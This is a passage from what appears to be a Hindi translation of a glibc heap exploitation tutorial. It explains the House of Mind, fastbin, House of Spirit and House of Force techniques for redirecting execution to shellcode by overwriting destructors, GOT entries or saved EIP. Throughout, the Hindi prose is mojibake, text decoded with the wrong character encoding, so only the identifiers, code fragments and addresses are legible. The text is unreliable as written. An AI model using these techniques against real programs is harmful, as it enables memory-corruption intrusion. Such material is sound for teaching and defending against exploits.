рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо av->bins[2] рдореЗрдВ __DTOR_END_-12 рдХрд╛ рдорд╛рди рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддреЛ рдЕрдВрддрд┐рдо рдирд┐рд░реНрджреЗрд╢ рдореЗрдВ __DTOR_END_ рдореЗрдВ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЕрд░реНрдерд╛рдд, рдкрд╣рд▓реЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рд╣рдореЗрдВ рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХрдИ рдмрд╛рд░ __DTOR_END_-12 рдХрд╛ рдкрддрд╛ рдбрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ av->bins[2] рдЗрд╕реЗ рдирд┐рдХрд╛рд▓реЗрдЧрд╛ред
рдЬрд┐рд╕ рдкрддреЗ рдкрд░ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдкрддрд╛ рдЧрд┐рд░рддрд╛ рд╣реИ, рдЙрд╕рдХреЗ рдЕрдВрддрд┐рдо 5 рд╢реВрдиреНрдп рдХреЗ рд╕рд╛рде рд╣рдореЗрдВ рдкрд╣рд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рддрд╛рдХрд┐ heap_for_ptr() рдпрд╣ рд╕реЛрдЪ рд╕рдХреЗ рдХрд┐ ar_ptr рдкрд╣рд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╣реИ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ av->bins[2] рдирд┐рдХрд╛рд▓реЗред
рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдФрд░ рдкрд╣рд▓реЗ рдХреЗ рдХрд╛рд░рдг, рд╣рдо prev_size рдХреЛ 0x0c рдХреЗ рд╕рд╛рде рдФрд░ size рдХреЛ рдХреБрдЫ рдРрд╕рд╛ рдбрд╛рд▓рддреЗ рд╣реИрдВ рдЬреЛ -> NON_MAIN_ARENA рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдмрд╛рдж, рдЯреБрдХрдбрд╝рд╛ 2 рдореЗрдВ рд╣рдо рдмрд╣реБрдд рд╕рд╛рд░реЗ nops рдбрд╛рд▓рддреЗ рд╣реИрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдбрд╛рд▓рддреЗ рд╣реИрдВред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, _int_free(TROZO1, TROZO2) рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ __DTOR_END_ рдореЗрдВ prev_size рдХреЗ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрдж рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдЬреЛ рдкреЗрд▓реЛрдб рдХреЛ рдереЛрдбрд╝рд╛ рдФрд░ рдЬрдЯрд┐рд▓ рдмрдирд╛рддреА рд╣реИрдВред
рдпрд╣ рддрдХрдиреАрдХ рдЕрдм рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ unlink рдХреЗ рд▓рд┐рдП рд▓рдЧрднрдЧ рд╡рд╣реА рдкреИрдЪ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдЬрд┐рд╕ рдирдП рд╕реНрдерд╛рди рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдХреНрдпрд╛ рд╡рд╣ рднреА рдЙрд╕реА рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИред
рдлрд╛рд╕реНрдЯрдмрд┐рди
рдпрд╣ рдж рд╣рд╛рдЙрд╕ рдСрдл рдорд╛рдЗрдВрдб рдХрд╛ рдПрдХ рд░реВрдкрд╛рдВрддрд░ рд╣реИред
рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд╣реИ, рдЬрд┐рд╕реЗ _int_free() рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдЬрд╛рдВрдЪ рдХреЗ рдмрд╛рдж рдкрд╣реБрдБрдЪрд╛ рдЬрд╛рддрд╛ рд╣реИ:
fb = &(av->fastbins[fastbin_index(size)] тАФ> fastbin_index(sz) тАФ> (sz >> 3) - 2
тАж
p->fd = *fb
*fb = p
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ тАЬfbтАЭ рдореЗрдВ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ GOT рдореЗрдВ рдПрдХ рдкрддрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдкрддреЗ рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛ рдХрд┐ рдПрд░реЗрдирд╛ dtors рдХреЗ рдкрддреЗ рдХреЗ рдХрд░реАрдм рд╣реЛред рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ, av->max_fast рдЙрд╕ рдкрддреЗ рдкрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕реЗ рд╣рдо рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред
рдЪреВрдВрдХрд┐ рдж рд╣рд╛рдЙрд╕ рдСрдл рдорд╛рдЗрдВрдб рдХреЗ рд╕рд╛рде рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рд╣рдо av рдХреЗ рд╕реНрдерд╛рди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рддреЛ рдпрджрд┐ size рдлрд╝реАрд▓реНрдб рдореЗрдВ 8 + NON_MAIN_ARENA + PREV_INUSE рдбрд╛рд▓рддреЗ рд╣реИрдВ тАФ> fastbin_index() рд╣рдореЗрдВ fastbins[-1] рд▓реМрдЯрд╛рдПрдЧрд╛, рдЬреЛ av->max_fast рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ред
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ av->max_fast рд╡рд╣ рдкрддрд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рди рдХрд┐ рдЬрд┐рд╕ рдкрд░ рдпрд╣ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рд╡рд╣ рд╕реНрдерд┐рддрд┐ рдЬреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХреА рдЬрд╛рдПрдЧреА)ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдХреЗ рдмрдЧрд▓ рдХрд╛ рдЯреБрдХрдбрд╝рд╛ 8 рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ -> рдЪреВрдВрдХрд┐ рд╣рдордиреЗ рдХрд╣рд╛ рд╣реИ рдХрд┐ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ 8 рд╣реИ, рдЗрд╕ рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдХреЗрд╡рд▓ 8 рд╕реЗ рдмрдбрд╝рд╛ рдЖрдХрд╛рд░ рдбрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдЬрд╛рдПрдЧрд╛, рдкрд╣рд▓реЗ рдПрдХ jmp рдбрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ nops рдореЗрдВ рдЧрд┐рд░рддрд╛ рд╣реИ)ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЙрд╕реА рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ av->system_mem рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред av->system_mem 1848 рдмрд╛рдЗрдЯреНрд╕ рдЖрдЧреЗ рд╣реИред
__DTOR_END_ рдХреЗ рд╢реВрдиреНрдп рдФрд░ GOT рдореЗрдВ рдХреБрдЫ рдкрддреЗ рдХреЗ рдХрд╛рд░рдг, рдЗрди рдЦрдВрдбреЛрдВ рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЪрд▓рд┐рдП рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╕реНрдЯреИрдХ рдкрд░ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдлрд╛рд╕реНрдЯрдмрд┐рди рдХреЛ рдХреИрд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рдПред
рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ av рдХреЛ рд╕реНрдЯреИрдХ рдХреА рдУрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╣реИред
рдпрджрд┐ рд╣рдо size рдХреЛ 8 рдХреЗ рдмрдЬрд╛рдп 16 рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ: fastbin_index() рд╣рдореЗрдВ fastbins[0] рд▓реМрдЯрд╛рдПрдЧрд╛ рдФрд░ рд╣рдо рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдЯреИрдХ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдХреИрдирд░реА рдпрд╛ рд╕реНрдЯреИрдХ рдореЗрдВ рдЕрдЬреАрдм рдорд╛рди рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдореЗрдВ рдЗрд╕ рдкрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП: 4 рдмрд╛рдЗрдЯреНрд╕ рд╢реВрдиреНрдп + EBP + RET
4 рдмрд╛рдЗрдЯреНрд╕ рд╢реВрдиреНрдп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ av рдЗрд╕ рдкрддреЗ рдкрд░ рд╣реЛ рдФрд░ av рдХрд╛ рдкрд╣рд▓рд╛ рддрддреНрд╡ рд╡рд╣ рдореНрдпреВрдЯреЗрдХреНрд╕ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдХрд╛ рдорд╛рди 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
av->max_fast EBP рд╣реЛрдЧрд╛ рдФрд░ рдпрд╣ рдПрдХ рдорд╛рди рд╣реЛрдЧрд╛ рдЬреЛ рд╣рдореЗрдВ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛ред
av->fastbins[0] рдХреЛ p рдХреЗ рдкрддреЗ рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдпрд╣ RET рд╣реЛрдЧрд╛, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпрд╣ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрдж рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, av->system_mem (рд╕реНрдЯреИрдХ рдореЗрдВ рд╕реНрдерд┐рддрд┐ рд╕реЗ 1484 рдмрд╛рдЗрдЯреНрд╕ рдКрдкрд░) рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА рдмрдХрд╡рд╛рд╕ рд╣реЛрдЧреА рдЬреЛ рд╣рдореЗрдВ рдХреА рдЧрдИ рдЬрд╛рдВрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧреАред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдХреЗ рдмрдЧрд▓ рдХрд╛ рдЯреБрдХрдбрд╝рд╛ 8 рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ -> рдЪреВрдВрдХрд┐ рд╣рдордиреЗ рдХрд╣рд╛ рд╣реИ рдХрд┐ рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ 16 рд╣реИ, рдЗрд╕ рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдХреЗрд╡рд▓ 8 рд╕реЗ рдмрдбрд╝рд╛ рдЖрдХрд╛рд░ рдбрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдореБрдХреНрдд рдХрд┐рдП рдЧрдП рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдЬрд╛рдПрдЧрд╛, рдкрд╣рд▓реЗ рдПрдХ jmp рдбрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ nops рдореЗрдВ рдЧрд┐рд░рддрд╛ рд╣реИ рдЬреЛ рдирдП рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ size рдлрд╝реАрд▓реНрдб рдХреЗ рдмрд╛рдж рдЖрддреЗ рд╣реИрдВ)ред
рдж рд╣рд╛рдЙрд╕ рдСрдл рд╕реНрдкрд┐рд░рд┐рдЯ
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рдПрдХ рдРрд╕реЗ malloc рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рдиреАрдЪреЗ рд╣реЛ)ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдЗрд╕ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдХрд╣реАрдВ рднреА рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЛрдИ рднреА рд╕реНрдерд╛рди рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ, рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ av->max_fast рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рднрд╡рд┐рд╖реНрдп рдореЗрдВ malloc() рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзрд┐рдд рдЖрдХрд╛рд░ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП +8ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рдХрдордЬреЛрд░ рдкреЙрдЗрдВрдЯрд░ рдХреЗ рдмрд╛рдж malloc(40) рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЭреВрдареЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ 48 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдпрджрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд╛рд░реНрдпрдХреНрд░рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдкреВрдЫрддрд╛ рд╣реИ, рддреЛ рд╣рдо 48 рджрд░реНрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ malloc рдХреЗ рд╕рдВрд╢реЛрдзрд┐рдд рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЕрдЧрд▓реЗ 4 рдмрд╛рдЗрдЯреНрд╕ (рдЬреЛ рднрд╛рдЧреНрдп рд╕реЗ EBP рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП 48 рдкреАрдЫреЗ рд░рд╣ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдпрд╣ рдЖрдХрд╛рд░ рдХрд╛ рд╣реЗрдбрд░ рд╣реЛ) рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкрддрд╛ ptr-4+48 рдХреЛ рдХрдИ рд╢рд░реНрддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ ptr=EBP), рдЕрд░реНрдерд╛рддреН, 8 < ptr-4+48 < av->system_memред
рдпрджрд┐ рдпрд╣ рдкреВрд░рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЬрдм рд╣рдо рдЕрдЧрд▓реЗ malloc рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╣рдордиреЗ рдХрд╣рд╛ рдерд╛ рдХрд┐ рдпрд╣ malloc(40) рдерд╛, рддреЛ рдЗрд╕реЗ EBP рдХреЗ рдкрддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ malloc рдореЗрдВ рдХреНрдпрд╛ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╡рд╣ EBP рдФрд░ EIP рджреЛрдиреЛрдВ рдХреЛ рдЙрд╕ рдкрддреЗ рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд╣ рдЪрд╛рд╣рддрд╛ рд╣реИред
рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЬрдм рдЗрд╕реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ free() рдпрд╣ рд░рдЦреЗрдЧрд╛ рдХрд┐ рд╕реНрдЯреИрдХ рдХреЗ EBP рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рдкрд░ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рд╣реИ рдЬреЛ рдирдП malloc() рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХрджрдо рд╕рд╣реА рдЖрдХрд╛рд░ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдЙрд╕ рдкрддреЗ рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд░рддрд╛ рд╣реИред
рдж рд╣рд╛рдЙрд╕ рдСрдл рдлреЛрд░реНрд╕
рдЖрд╡рд╢реНрдпрдХ рд╣реИ:
- рдПрдХ рдЯреБрдХрдбрд╝реЗ рдкрд░ рдУрд╡рд░рдлреНрд▓реЛ рдЬреЛ рд╡рд╛рдЗрд▓реНрдбрд░рдиреЗрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЖрдХрд╛рд░ рдХреЗ рд╕рд╛рде malloc() рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ред
- рдПрдХ malloc() рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЬрд┐рд╕рдХреЗ рдбреЗрдЯрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд╣рд▓реА рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рд╡рд╛рдЗрд▓реНрдбрд░рдиреЗрд╕ рдХреЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдПрдХ рдмрд╣реБрдд рдмрдбрд╝реЗ рдорд╛рди (0xffffffff) рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддрд╛рдХрд┐ рдХреЛрдИ рднреА рдкрд░реНрдпрд╛рдкреНрдд рдмрдбрд╝рд╛ рдореЗрдореЛрд░реА рдЕрдиреБрд░реЛрдз _int_malloc() рдореЗрдВ рдмрд┐рдирд╛ рд╣реАрдк рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд┐рдП рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред
рджреВрд╕рд░реА рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ av->top рдХреЛ рдПрдХ рдРрд╕реЗ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╕реНрдЯреИрдХред av->top рдореЗрдВ &EIP - 8 рд░рдЦрд╛ рдЬрд╛рдПрдЧрд╛ред
рд╣рдореЗрдВ av->top рдХреЛ рдЙрд╕ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реИ:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim рд╡рд░реНрддрдорд╛рди рд╡рд╛рдЗрд▓реНрдбрд░рдиреЗрд╕ рдЯреБрдХрдбрд╝реЗ рдХреЗ рдкрддреЗ рдХрд╛ рдорд╛рди рд░рдЦрддрд╛ рд╣реИ (рд╡рд░реНрддрдорд╛рди av->top) рдФрд░ remainder рдЙрд╕ рдкрддреЗ рдХрд╛ рдпреЛрдЧ рд╣реИ рдЬреЛ malloc() рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдмрд╛рдЗрдЯреНрд╕ рдХреА рдорд╛рддреНрд░рд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ &EIP-8 0xbffff224 рдкрд░ рд╣реИ рдФрд░ av->top 0x080c2788 рд╣реИ, рддреЛ рдЕрдЧрд▓реА malloc() рдХреЗ рд▓рд┐рдП av->top рдХреЛ $EIP-8 рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ malloc рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдорд╛рддреНрд░рд╛ рд╣реЛрдЧреА:
0xbffff224 - 0x080c2788 = 3086207644ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, av->top рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдорд╛рди рд░рдЦрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЕрдЧрд▓реА malloc EIP рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХреЗрдЧрд╛ред
